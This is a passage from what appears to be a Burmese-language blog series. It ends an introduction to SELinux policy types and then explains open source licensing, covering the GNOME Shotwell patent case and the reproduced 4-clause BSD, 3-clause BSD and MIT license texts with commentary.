နာမည်နဲ့ ထည့်သွင်း အသုံးပြုရင်လည်း ရပါတယ်။ ဆိုလိုရင်းက /etc/selinux/mypolicy လို့ တည်ဆောက်ပြီးတော့ SELINUXTYPE= mypolicy ကို အသုံးပြုချင်ရင် ဖြစ်နိုင်ပါတယ်။ ဒီလို ကိုယ်ပိုင် policy ကို အသုံးပြုရင်တော့ touch ./autorelabel လို ဆိုပြီးတော့ system ကို relabel လုပ်ဖို့အတွက် reboot လုပ်ပေးရပါ့မယ်။ နောက်ပြီးတော့ type ကို targeted သုံးမယ်ဆိုရင်တော့ system မှာပါဝင်တဲ့ သတ်မှတ်ထားတဲ့ protected daemons တွေအတွက်ပဲ အကြုံဝင်ပါတယ်။ ဒီ protected daemons တွေကိုလည်း RHEL ရဲ့ version တစ်ခုနဲ့ တစ်ခုစီမှာ မတူနိုင်တာမို့ အသေအချာတော့ မပြောတတ်ပါ။ အကြမ်းအားဖြင့်တော့ terminal မှာ getsebool -a ဆိုပြီးတော့ ရိုက်ထည့်ပြီးတော့ ကြည့်လိုက်ရင် seboolean ကို အသုံးပြုပြီးတော့ on/off လုပ်လို့ရတဲ့ protected daemon တွေနဲ့ သက်ဆိုင်ရင် policy macro တွေကိုတွေ့နိုင် မှာပဲဖြစ်ပါတယ်။ Strict ကို SELINUXTYPE မှာသုံးမယ်ဆိုရင်တော့ system တစ်ခုလုံးကို full SELinux protection ရနိုင်မှာဖြစ်တဲ့အတွက် daemons တွေအားလုံး အတွက် အကြုံဝင်ပါတယ်။ SELINUXTYPE=mls ကို NSA နဲ့ အခြားသော အဆင့်မြင့်လုံခြုံရေး စနစ်မရှိမဖြစ်လိုအပ်တဲ့ government နဲ့ military တွေမှာအသုံးပြုပါတယ်။

SELinux အကြောင်းကို ဒီ post မှာ မိတ်ဆက်သဘောမျိုးနဲ့ မိတ်ဆက်ပေးချင်တဲ့ ဆန္ဒကြောင့်ရေးဖြစ်တာကြောင့် သူ့ရဲ့ အသေးစိတ်ကို ဖြန့်ကားပြီးတော့ ရေးချင်သော်လည်း မရေးတော့ပါ။ နောက်မှပဲ အေးအေးဆေးဆေး SELinux ကိုလက်တွေ့မှာ ဘယ်လို အသုံးပြုသလဲဆိုတာ ဥပမာနဲ့တကွရေးသွားပါ့မယ်။ ဒီတစ်ခုမှာတော့ post ကနည်းနည်းလည်း ရှည်နေပြီဖြစ်လို့ ဒီမှာပဲရပ်လိုက်ပါတော့မယ်။ SELinux ဆိုတာဘာလည်းဆိုတာတော့ အနည်းအကျဉ်း လေ့လာမိမယ်လို့တော့ မျှော်လင့်ရင်း အဆုံးသတ်လေသတည်း။


# Open Source Licenses များအကြောင်း – အပိုင်း (၁)

အရင်တုန်းက စာရေးသူ GNU GPL နဲ့ ပတ်သတ်တဲ့ အကြောင်းတွေကို အပိုင်းလေးတွေခွဲပြီးတော့ ရေးသားခဲ့တယ်။ သူ့ရဲ့ license အမျိုးအစားခွဲတွေနဲ့ ဘာဖြစ်လို့ version တွေထက်ခွဲထွက်လာသလားဆိုတာလည်း တတ်နိုင်သလောက် ရှင်းပြခဲ့ပါတယ်။ နောက်ခံသမိုင်း ဖြစ်စဉ်လေးတွေကို လေ့လာရတာ စာရေးသူကြိုက်လို့ ကိုယ်တိုင်လိုက်ရှာပြီး ဖတ်သလို ပြန်ပြီးတော့ မျှဝေရတာလည်း တော်တော်လေးကို အရသာတွေ့ပါတယ်။ Open source နဲ့ Linux နဲ့ ပတ်သတ်ရင်လည်း လေ့လာတဲ့အခါမှာ ဘာလိုပြဿနာမျိုးကို ဖြေရှင်းဖို့အတွက် ဒီနည်းပညာထွက်လာရသလဲ၊ လက်တွေ့အသုံးပြုလို့ အဆင်ပြေသလား၊ ဘာဖြစ်လို့ software ကို အလကားပေးသုံးပြီးတော့ monetization မှာတော့ ဖြစ်ဘာလိုမျိုး လုပ်ထားသလဲဆိုတာတွေကို စာရေးသူ စိတ်ဝင်မိပါတယ်။ တစ်ခုချင်းစီရဲ့ သူတို့ထားတဲ့ သဘောထားလေးတွေ ပေါ်မှာမူတည်ပြီးတော့ free / open source software ကို သတိကြီးကြီးနဲ့ အသုံးပြုပါတယ်။ နောက်ပြီးတော့မှ အခြားသူတွေလည်း သိလာအောင် advocate လုပ်ပြီးတော့၊ သုံးဖြစ်လာအောင် တနည်းမဟုတ်တနည်းနဲ့ တိုက်တွန်းတတ်ပါတယ်။ Software တစ်ခုကကောင်းလည်းကောင်းတယ်၊ free နဲ့ open source လည်းလုပ်ပေးထားတယ်၊ သို့သော်သုံးတဲ့လူ မရှိဘူးဆိုရင် အဲ့ဒီ software တွေကို အချိန်အကုန်ခံပြီးတော့ နေ့နေ့ညည လုပ်ထားရတဲ့ software developer တွေအတွက် စိတ်မကောင်းစရာပါ။ ဒီနေရာမှာ ငွေရေးကြေးရေး ကိစ္စမပါသေးပါဘူး။ Developer တွေဘက်က သုံးတဲ့သူတွေရှိတယ်၊ လူတွေငါ့ အချိန်ကုန်ခံပြီးတော့ လုပ်ထားတဲ့ဟာကို သုံးတယ်ဆိုတာတစ်ခုတည်းနဲ့ ကို သူတို့ဝမ်းမြောက်ဝမ်းသာ ဖြစ်ရမှာပါ။ DistroWatch လိုမျိုးနေရာမှာ Linux ရဲ့ ဘယ် distro ကတော့ဖြင့် top 10 ဝင်တယ်ဆိုပြီးတော့ developer တွေ၊ contributor တွေ ဂုဏ်ယူစွာဖြင့် celebrate လုပ်ကြပါတယ်။ အဲ့ဒီကနေမှ ကိုယ်က monetize လုပ်မယ်ဆိုလည်း ကိုယ့်မှာ user-base ရှိပြီးသားမို့ ဆက်လက်ဆောင်ရွက် စရာကိုဆက်လက် လုပ်ဆောင်လို့ရပါတယ်။ အခုအနောက်ပိုင်း… Linux distro project သေးသေးလေးတွေကနေပြီးတော့ အကျိုးအမြတ်ရအောင်လို့ သန့်သန့်ရှင်းရှင်း ကြိုးပမ်းကြတဲ့ သတင်းလေးတွေကို ကြားရတိုင်း ဝမ်းသာကြည်နူးမိတာအမှန်ပါ။ နာမည်အားဖြင့်တော့ Manjaro နဲ့ Zorin OS နှစ်ခုဟာ တော်တော်လေးကို နေရာရလာပြီးတော့ monetization strategy မှာ စနစ်ကျတာကို တွေ့ရပါတယ်။ ဒါအပြင်… Elementary OS အဖွဲ့ကလည်း App Center ကို developer-centric ဖြစ်အောင်လို့ အဘက်ဘက်ကနေ အားထုတ်နေတာကိုလည်း တွေ့ရမှာပါ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-1868cc14c071f65f8a0e328a74765fe9be090fdb%2F1200px-Elementary_OS_5.1_Hera-768x432.png?alt=media" alt=""><figcaption></figcaption></figure>

ပြောချင်တာက… free / open source software လေးတွေဖြစ်လာဖို့ မလွယ်ပါဘူး။ Open Source project လေးတွေ စစချင်းမှာတော့ ဘယ်သူမှ ဂရုမစိုက်ပါဘူး။ သို့သော် နာမည်ရှိပြီ၊ အောင်မြင်လာပြီဆိုတာနဲ့ နေရာတကာမှာ လူညစ်တွေနဲ့ စတင်ထိပ်တိုက်တွေ့ တော့တာပါပဲ။ အနုနည်းနဲ့ ညစ်တယ်၊ အကြမ်းနည်းနဲ့ ညစ်တယ်၊ ပုံစံမျိုးစုံနဲ့ ညစ်ကြပါတယ်။ တခါတခါပြန်စဉ်းစားကြည့်တော့လည်း စာရေးသူတို့ လူအသိုင်းအဝိုင်းမှာ လူဆိုးနဲ့ လူကောင်း ယှဉ်ကြည့်လိုက်ရင် မကောင်းတဲ့သူ ပိုများတာကိုတွေ့ရမှာပါ။ ဒါကတော့… နည်းပညာတစ်ခုတည်း မဟုတ်ပါဘူး၊ နေရာတိုင်းမှာ ရှိပါတယ်။ community တစ်ခုစီမှာကောင်းတဲ့လူတွေ အချိန်ရော၊ လူရော ပေးပြီးတာ့ အများကြီးပေးဆက်ပြီးတော့ ဖြည်းဖြည်းချင်းစီကောင်းလာတဲ့ Arch လို community တွေလည်းရှိပါတယ်။ တချိန်က Oracle နဲ့ Microsoft တို့လို tech giant တွေဟာ open source ကမ္ဘာမှာ နည်းနည်းအကောင်ထွားလာတဲ့ startup company တွေကို ဆက်ပြီးတော့ နလံမထူနိုင်အောင်လို့ လိုက်မြိုပါတယ်။ ဥပဒေရှိသော်လည်း ငွေများတရားနိုင်ခဲ့ရပါတယ်။ ဟိုတလောကပဲ… GNOME project ရဲ့ Shotwell Photo Manager ကို patent troll လိုက်ပြီးလုပ်နေကြအဖွဲ့ဖြစ်တဲ့ Rothschild Patent Imaging, LLC. က မပြောမဆိုကောက်ပြီးတော့ တရားကောက်ဆွဲပါတယ်။ အားလုံးသိပြီးတဲ့ အတိုင်း GNOME project တစ်ခုလုံးဟာ open source ဖြစ်လို့ တရားရင်ဆိုင်ကြရင် ငွေနဲ့ အချိန်အများကြီး သုံးရမှာကို စိုးရိမ်မှန်းသိပါတယ်။ အဲ့ဒါကြောင့်လည်း patent troll တွေဟာ ငွေလည်း နည်းနည်းတက်နိုင်တယ်၊ တရားခွင်မှာ ရင်ဆိုင်ရင် အလွယ်တကူနဲ့ နိုင်နိုင်ချေရှိတဲ့ ပစ်မှတ်ကိုလိုက်ရှာပြီးတော့ ငွေညစ်ကြတာဖြင့် ကြားလို့မှ မကောင်းဘူး။ Open source community တစ်ခုလုံး GNOME ဘက်မှာ ဝိုင်းဝန်းကြပြီးတော့ ငွေအားရော၊ လူအားရော စိုက်ထုတ်ကြမယ်ဆိုပြီး ချက်ချင်းသတင်းထွက်လာပါတယ်။ GNOME Foundation ရဲ့ Executive Director ဖြစ်တဲ့ Neil McGovern ကလည်း ဒီလို အဓိပ္ပာယ်မဲ့ တရားဆွဲဆိုမှုတွေကို လုံးဝမခံပဲနဲ့ ပြန်လည်ခုခံသွားမယ်လို့ ဆိုလာပါတယ်။ သူ့အနေနဲ့ သူတို့ GNOME Foundation ကြီးက အခုလိုမတရားလုပ်လာတာကို ခေါင်းငုတ်ခံလိုက်ရင် အခြားသော open source project တွေကို ဒီအတိုင်း ဒုက္ခလိုက်ပေးမှာ ကိုမလိုလားလို့ ပြန်ပြီးတော့ ခုခံရပုံပါ။ ဘယ်သူကတော့ အမှုလုပ်ချင်ပါ့မလဲ။ အခုအချိန်ထိ အဲ့ဒီအမှုက မပြီးသေးလို့ ဘယ်လိုအဆုံးသတ်မလဲဆိုတာ စောင့်ကြည့်နေရတုန်းပါ။ Open source community တစ်ခုလုံးကတော့ ဝိုင်းပြီး donate လုပ်ထားတာလည်း မနည်းဘူးလို့ ကြားသိရတဲ့ အတွက် ဝမ်းမြောက်ဝမ်းသာ ဖြစ်ရပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-00cbeef1028e3787963099a0624c60341eb979ad%2F1200px-GNOME_Shell-1-768x480.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-474a37468146e1c81e25ac01719e800ee64de67b%2FShotwell-1-768x604.png?alt=media" alt=""><figcaption></figcaption></figure>

ဒီစာကို ဖတ်တဲ့သူတွေတော့ တွေးကောင်းတွေးနေပါလောက်ပြီ။ အခုအချိန်ထိ Open source license အနားကို မရောက်သေးဘူး။ Open source software တွေကို advocate လုပ်တာနဲ့ Patent Troll တွေအကြောင်းပဲပြောသွားတာဖြင့် မူရင်း ခေါင်းစဉ်နာမည်တောင် ဘယ်နားရောက်သွားသလဲဆိုပြီးတော့ စဉ်းစားမိသလားလို့ပါ။ အထက်မှာပြောသွား အကြောင်းအရာအတွေ အကုန်လုံး တိုက်ရိုက်ဆက်နွယ်မှုရှိလို့ စကားပုလ္လင်ခံတဲ့ သဘောမျိုးပါ။ Open source project တွေအတွက် တရားခွင်မှာ ရင်ဆိုင်ကြတဲ့အခါ ဥပဒေဆိုင်ရာ ချည်နှောင်ထားတဲ့ license တစ်ခုခု၊ တရားခွင်မှာမိမိရဲ့ နည်းပညာထွက်ကုန်ကို ကာကွယ်ဖို့အတွက် အနည်းဆုံးတော့ Law Binding လုပ်ထားတဲ့ Open Source Software License လေးတွေလိုအပ်ပါတယ်။ ရှိပြီးသား license တွေကိုသုံးလို့ရနိုင်သလို၊ ကိုယ်က license တစ်ခုကိုတင်သွင်းချင်ရင်လည်း Open Source Initiative အဖွဲ့ က review လုပ်ပေးနိုင်ပြီးနောက်၊ တရားဝင်အသုံးပြုနိုင်ရန် approval process ကိုစနစ်တကျ သူတို့ site ပေါ်မှာရှင်းပြထားပါတယ်။ Approved လုပ်ထားတဲ့ license တစ်ခုဖြစ်ဖို့ဆိုတာလည်း လွယ်တဲ့ကိစ္စတော့လည်း မဟုတ်ပါဘူး။ များသောအားဖြင့် approved လုပ်ပြီးသား license အမျိုးအစား တွေကို open source software တွေမှာ ယူသုံးကြပါတယ်။ အထင်ကရအားဖြင့်တော့အောက်ကအတိုင်း ၇ခုလောက်ပဲရှိပါတယ်။

* Apache License 2.0
* BSD Licenses
* GNU GPL
* MIT Licenses
* Mozilla Public License
* Common Development and Distribution License
* Eclipse Public License

အထက်က ၇ခုဟာ နေရာတော်တော်များများမှာအသုံးပြုတာကိုတွေ့ရမှာပါ။ ဒီအတွဲမှာတော့ စာရေးသူ အာရုံစိုက်ပြီးတော့ ရေးချင်တာကတော့ Apache၊ BSD နဲ့ MIT License အမျိုးအစားတွေပဲဖြစ်ပါတယ်။ GNU GPL ကိုတော့ ဟိုအရင်တုန်းက အပိုင်းလေးတွေခွဲပြီးတော့ ရေးသားခဲ့ပါတယ်။ ပထမဆုံးအနေနဲ့ BSD Licenses တွေနဲ့စချင်ပါတယ်။ အဲ့ဒါပြီးတဲ့ နောက် MIT license နဲ့ နောက်ဆုံးပိတ်မှာတော့ Apache License နဲ့ အဆုံးသတ်ချင်ပါတယ်။

### BSD Licenses

BSD license အမျိုးအစားဟာ permissive လို့ခေါ်တဲ့ အကန့်အသတ်မရှိခွင့်ပြုထားတဲ့ license အမျိုးအစားတစ်ခုပါ။ နာမည်မှာပါတဲ့အတိုင်း BSD ဆိုတာဟာ Berkeley က သူတို့ရဲ့ Unix-like operating system တစ်ခုဖြစ်တဲ့ Berkeley Software Distribution (BSD) မှာတွဲပြီးတော့ အသုံးပြုနိုင်အောင်လို့ ချမှတ်ခဲ့တဲ့ license တစ်ခုပါ။ ကန့်သတ်ချက် အနည်းဆုံး ဖြစ်အောင်ကြိုးပမ်းထားတာဖြစ်တဲ့အတွက် Richard Stallman (RMS) ရဲ့ copyleft licenses အမျိုးအစားတွေနဲ့တော့ ကွာခြားမူရှိပါတယ်။ ဥပမာ BSD license အမျိုးအစားကို အသုံးပြုခြင်းအားဖြင့် software တစ်ခုရဲ့ source code ကိုယ်ပြန်လည်ထည့်သွင်းရင်လည်းရသလို၊ မထည့်ချင်လည်းရတယ်ဆိုတဲ့အချက်ပါ။ ဒါကြောင့်လည်း Richard Stallman (RMS) နဲ့ Open Source အဖွဲ့ ထိပ်တိုက်တွေ့ပါတော့တယ်။ Richard Stallman (RMS) အနေနဲ့ source code ကိုမြင်နိုင်မှ freedom အစစ်အမှန်လို့ဆိုသော်လည်း၊ open source ဝိုင်းတော်သားတွေအနေနဲ့တော့ source code ကိုမဖြစ်မနေ ပြန်လည်ဖွင့်ချပေးရမယ်ဆိုရင် ဘယ်လိုမှ business model မရှိတော့တဲ့အတွက် software သမားတွေအတွက် တော်တော်လေးတိုင်ပတ်မယ်လို့ ထင်တဲ့အတွက် source code ကို မထည့်လိုရင်လည်း ရနိုင်ရမယ်လို့ တဘက်တချက်ကနေ ဆိုပြန်ပါတယ်။ နှစ်ဦးနှစ်ဖက် သွားရာလမ်းတူသော်လည်း သုံးသပ်ချက်အမြင်ကွာဟမှုကြောင့် ထိပ်တိုက်တွေကြပြီး၊ open source မှာလည်းဒီလိုမျိုး အားနည်းချက်တွေရှိနေသေးတာလည်း developer တွေကြားမှာ tribalism ဆိုတဲ့ အုပ်စုကွဲစေတဲ့အချင်းအရာတွေပဲဖြစ်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-706c73794b8a784ee7c3a35559a2ae122cb95bb4%2FBSD-1-768x358.png?alt=media" alt=""><figcaption></figcaption></figure>

နောင်တချိန်မှာလည်း BSD License ကို လိုအပ်တွေအမျိုးအမျိုးကြောင့် အချက်တချက် ဖြုတ်ဖို့လည်း ဖြစ်လာတာကြောင့် 3-clause BSD License ရယ်လို့ ခေါ်ဆိုလာတာအခုအချိန်ထိပါပဲ။ စတင်မိတ်ဆက်တဲ့ License ကတော့ အချက်လေးချက်ကို အခြေခံထားလို့ 4-clause BSD License ရယ်လို့ တချိန်က ခေါ်ဆိုခဲ့ကြပါတယ်။ အောက်မှာကတော့ 4-clause BSD License ရဲ့ မူရင်း မိတ်တူပဲဖြစ်ပါတယ်။

Copyright (c) ,\
All rights reserved.

Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:

1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
3. All advertising materials mentioning features or use of this software must display the following acknowledgement: This product includes software developed by the \<organization>.
4. Neither the name of the nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY ”AS IS” AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

တတိယအချက်ဖြစ်တဲ့ advertising clause ဟာ ဥပဒေအရရော၊ အဲ့ဒီအချိန်က GNU GPL နဲ့တွဲပြီးတော့ အသုံးပြုဖို့ အတွက်မှာ အဆင်မပြေတာကြောင့် ထိုအချက်ကို တော်တော်များများ ဝေဖန်ခဲ့ကြပါတယ်။ ဒီအချက်ကတော့ software နဲ့ ပတ်သတ်ပြီးတော့ သူ့ရဲ့ features အင်္ဂါရပ် နဲ့ use အသုံးပြုပုံတွေကို ကြော်ငြာတဲ့အခါမှာ အရှေ့မှာ contribute လုပ်ထားတဲ့ အဖွဲ့အစည်းနာမည်တွေ အကုန်ထည့်ခိုင်းတာပဲဖြစ်ပါတယ်။ permissive license အမျိုးအစားဖြစ်ပေမယ့်လည်း အဲ့ဒီလို အကုန်ထည့်သွင်းဖို့ရာ လက်တွေ့မကျတာတစ်ခုနဲ့ အခြားသော ဥပဒေဆိုင်ရာ အရှုပ်အထွေးတွေရှိနေခဲ့ပါတယ်။ အဲ့ဒါကြောင့် ၄င်းအချက်ကို ဖြုတ်ပစ်လိုက်ပြီးတော့ အောက်မှာ ဖော်ပြထားတဲ့ မူရင်းမိတ်တူ 3-clause BSD license အဖြစ်ထပ်ပြီးတော့ ပြင်ဆင်လိုက်ကြပါတယ်။ အဲ့ဒီအတွက်လည်း တခါတရံ BSD License 2.0၊ တချို့လည်း Revised BSD License၊ ဒါမှမဟုတ်ရင် New BSD License၊ နောက်ဆုံး Modified BSD License လို့နာမည်အမျိုးမျိုးနဲ့ ခေါ်တွင်လာခဲ့ကြပါတယ်။

Copyright (c) ,\
All rights reserved.

Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:

1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
3. Neither the name of the nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY ”AS IS” AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

ဒီ 3-clause BSD License ကို လိုရင်းရှင်းရရင်တော့ ပထမတချက်က source code ကို ပြန်လည် ဖြန့်ဝေမျှဝေဖို့ရာ ဒီလိုပုံစံတူ copyright ကိုပဲဆက်ပြီးတော့ သုံးရမယ်လိုဆိုပါတယ်။ “Copyright \<YEAR> \<COPYRIGHT HOLDER>” ဆိုတဲ့ format ကိုဆိုလိုရင်းဖြစ်ပါတယ်။ နောက်ပြီးတော့ ဒီအချက်သုံးချက်ကိုလည်း ပြန်လည်ထည့်သွင်းစေပြီး၊ နောက်ဆုံးမှာပါတဲ့ “THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS … EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.” ဆိုတဲ့ disclaimer ကိုပဲသုံးရပါ့မယ်။

ဒုတိယအချက်ကတော့ ပထမအချက်နဲ့ ခပ်ဆင်ဆင်ဖြစ်ပြီးတော့ source code နေရာမှာ binary form ကိုသုံးလိုက်တာပဲဖြစ်ပါတယ်။ ဒီအချက်ကတော့ permissive ဆိုတဲ့အတိုင်း ကိုယ်က source code ကို မထုတ်ပြပဲနဲ့ binary file ကိုပဲ final product အနေနဲ့ ထုတ်ပြချင်တယ်ဆိုရင်၊ ဒီ software နဲ့ပတ်သတ်ပြီးတော့ ထုတ်သမျှ documentation နဲ့ materials တွေပေါ်မှာ ၄င်းနည်းတူ copyright notice နဲ့ disclaimer ကိုပဲပြန်သုံးပေးရမယ် လို့ဆိုပါတယ်။

နောက်ဆုံးအချက်ဖြစ်တဲ့ တတိယတချက်ကတော့ ကြိုတင် ခွင့်ပြုစာမရှိပဲနဲ့ copyright holder နာမည်တွေ၊ contributor နာမည်တွေကို အသုံးပြုပြီးတော့ product တွေကို promote မလုပ်ရဘူးဆိုတဲ့ အချက်ပါ။ Project မှာပါတဲ့ လူသိများတဲ့ company နာမည်တွေ၊ နည်းပညာဘက်မှာ နာမည်ကြီးတဲ့ rockstar developer တွေရဲ့ နာမည်တွေကို အလွှဲသုံးစာလုပ်ရင် ကာကွယ်လို့ရအောင်လို့ သတ်မှတ်ပေးထားတဲ့ အချက်တစ်ခုပါ။

3-clause BSD License မှာကျန်တဲ့အပိုင်းတွေကို အသေးစိတ်မသွားတော့ပါဘူး။ အကယ်လို့များ ကိုယ့်အနေနဲ့ တတိယအချက်ကို မထည့်ချင်ရင်လည်း 2-clause BSD License ကို ကိုယ်လိုသလိုထည့်သွင်းပြီးတော့ သုံးလို့ရပါတယ်။ တချက်ချင်းစီကို ပြင်လို့မရပါ။ အချက်တွေကို လိုတိုးပိုလျှော့တော့ လုပ်လို့ရပါတယ်။ ဒါကြောင့် 0-clause BSD License (0BSD) နဲ့ 1-clause BSD License (BSD-1-Clause) ဆိုပြီးတော့လည်းရှိပြန်ပါတယ်။ ဒီလောက်ဆိုရင်တော့ BSD License နဲ့ပတ်သတ်ပြီးတော့ တော်တော်လေးပြည့်စုံသွားပြီလို့ထင်ပါတယ်။ နောက် post တွေမှာတော့ MIT License ကိုဆက်ပါ့မယ်။ ဒီတစ်ခုကိုတော့ ဒီမှာပဲရပ်လိုက်ပါတော့မယ်။


# Open Source Licenses များအကြောင်း – အပိုင်း (၂)

### MIT License

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-7d45cce6ea44a4666b7e97a1c35617f7b2df78a0%2FMIT-Logo.png?alt=media" alt=""><figcaption></figcaption></figure>

BSD License အကြောင်းကို လိုသလောက် အရှေ့တပိုင်းမှာရှင်းသွားပြီးတဲ့နောက် ဒီ post မှာတော့ သူ့လိုပဲ permissive license အမျိုးအစားဖြစ်တဲ့ MIT license အကြောင်းကို ဆက်သွားချင်ပါတယ်။ လက််ရှိအချိန်ထိတော့ အသုံးအများဆုံး license တစ်ခုဖြစ်ပါတယ်။ အရိုးအရှင်းဆုံးသော license အမျိုးအစား ဖြစ်တဲ့အတွက်လူသုံးများတာလည်း ဖြစ်နိုင်ပါတယ်။ သူရဲ့ ထူးခြားချက်က အခြားမည့်သည့် license အမျိုးအစားနှင့်မဆို compatible ဖြစ်တဲ့အပြင်၊ သူကနေဆင်းသက်လာတဲ့ software ကို အခြားသော license အမျိုးအစားနဲ့ ပြန်ပြီးတော့ ထားချင်လည်းရပါတယ်။ ထားပါတော့… အရှေ့လူက သူ software ကို MIT license အသုံးပြုထားပြီးရင်၊ အဲ့ဒီ software ရဲ့ code base ကို အခြေခံထားပြီးတော့ နောက်လူကဆက်ပြီးတော့ redistribute လုပ်ချင်ရင် သူ့အနေနဲ့ GPL ကိုပြောင်းပြီးတော့ အသုံးပြုချင်ရင် ပြောင်းခွင့်ပေးထားပါတယ်။ အခြားသော license နဲ့တွဲပြီးတော့ အသုံးပြုချင်လည်း ရပါတယ်။ သို့သော် GPL ဘက်ကနေပြီးတော့ MIT License ကို ပြန်လာချင်ရင်တော့ GPL ဘက်က restriction တွေကြောင့် ပြောင်းခွင့်မရှိပါဘူး။ ဒါ့အပြင် နောက်လူက proprietary လုပ်ချင်လည်း လုပ်ပိုင်ခွင့်ပြုထားပါတယ်။ အောက်မှာတော့ MIT License ရဲ့ မူရင်းကို မြင်နိုင်ပါဖြစ်ပါတယ်။

Copyright \<YEAR> \<COPYRIGHT HOLDER>

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

သူ့ရဲ့လိုရင်းကတော့ ပထမဆုံးအနေနဲ့ free of charge လို့ဆိုပြီးတော့ အခမဲ့ရနိုင်တယ်လိုဆိုထားပါတယ်။ ဒုတိယအချက်ကတော့ without restriction ဆိုတဲ့အချက်ပါ။ အဲ့ဒီထဲမှာ without limitation the rights to use အသုံးပြုခွင့်၊ copy ပြန်လည်ကူးယူခွင့်၊ modify ပြန်လည်ပြင်ဆင်ခွင့်၊ merge အခြားသော code နဲ့ လာပြီးတော့ ပေါင်းခွင့်၊ public ပြန်လည်ထုတ်ဝေခွင့်၊ distribute ပြန်လည်ဖြန့်ဝေခွင့်၊ sublicense အခြားသော compatible ဖြစ်တဲ့ license တွေနဲ့တွဲပြီးတော့ ပြန်လည်အသုံးပြုခွင့်၊ နောက်ဆုံးအနေနဲ့ sell copies of the Software ပြန်လည်ရောင်းချခွင့် တွေအားလုံးကို နောက်လူအတွက် ခွင့်ပြုထားပါတယ်။ ဒီနောက်ဆုံးနှစ်ချက်ကတော့ proprietary လုပ်ခွင့်လုပ်ချင်က လုပ်ခွင့်ပေးထားတဲ့ နှစ်ချက်ပဲဖြစ်ပါတယ်။ MIT License ကတော့ open source software တွေမှာ အလွယ်တကူ ယူပြီးတော့သုံးလို့ရအောင် လုပ်ပေးထားတဲ့ permissive license အမျိုးအစားတစ်ခုပဲဖြစ်ပါတယ်။

### Apache License 2.0

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-b599ca0105bba9db76a74fdb3d55ffe58732facc%2FApache-logo-768x375.png?alt=media" alt=""><figcaption></figcaption></figure>

